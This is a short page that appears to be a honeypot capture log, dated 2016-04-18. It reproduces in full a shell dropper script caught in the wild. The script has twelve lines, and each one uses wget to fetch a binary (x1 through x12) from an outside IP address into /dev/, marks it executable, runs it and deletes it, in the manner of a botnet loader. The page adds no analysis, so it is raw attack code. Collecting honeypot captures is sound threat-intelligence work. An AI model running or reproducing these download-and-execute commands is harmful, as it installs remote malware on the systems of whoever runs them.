Honeypot Payload! Seen on: 2016-04-18 22:45

#!/bin/sh

wget -c http://185.103.252.153/x1 -P /dev/ ; chmod +x /dev/x1 ; /dev/x1;rm -rf x1
wget -c http://185.103.252.153/x2 -P /dev/ ; chmod +x /dev/x2 ; /dev/x2;rm -rf x2
wget -c http://185.103.252.153/x3 -P /dev/ ; chmod +x /dev/x3 ; /dev/x3;rm -rf x3
wget -c http://185.103.252.153/x4 -P /dev/ ; chmod +x /dev/x4 ; /dev/x4;rm -rf x4
wget -c http://185.103.252.153/x5 -P /dev/ ; chmod +x /dev/x5 ; /dev/x5;rm -rf x5
wget -c http://185.103.252.153/x6 -P /dev/ ; chmod +x /dev/x6 ; /dev/x6;rm -rf x6
wget -c http://185.103.252.153/x7 -P /dev/ ; chmod +x /dev/x7 ; /dev/x7;rm -rf x7
wget -c http://185.103.252.153/x8 -P /dev/ ; chmod +x /dev/x8 ; /dev/x8;rm -rf x8
wget -c http://185.103.252.153/x9 -P /dev/ ; chmod +x /dev/x9 ; /dev/x9;rm -rf x9
wget -c http://185.103.252.153/x10 -P /dev/ ; chmod +x /dev/x10 ; /dev/x10;rm -rf x10
wget -c http://185.103.252.153/x11 -P /dev/ ; chmod +x /dev/x11 ; /dev/x11;rm -rf x11
wget -c http://185.103.252.153/x12 -P /dev/ ; chmod +x /dev/x12 ; /dev/x12;rm -rf x12

sleep 3;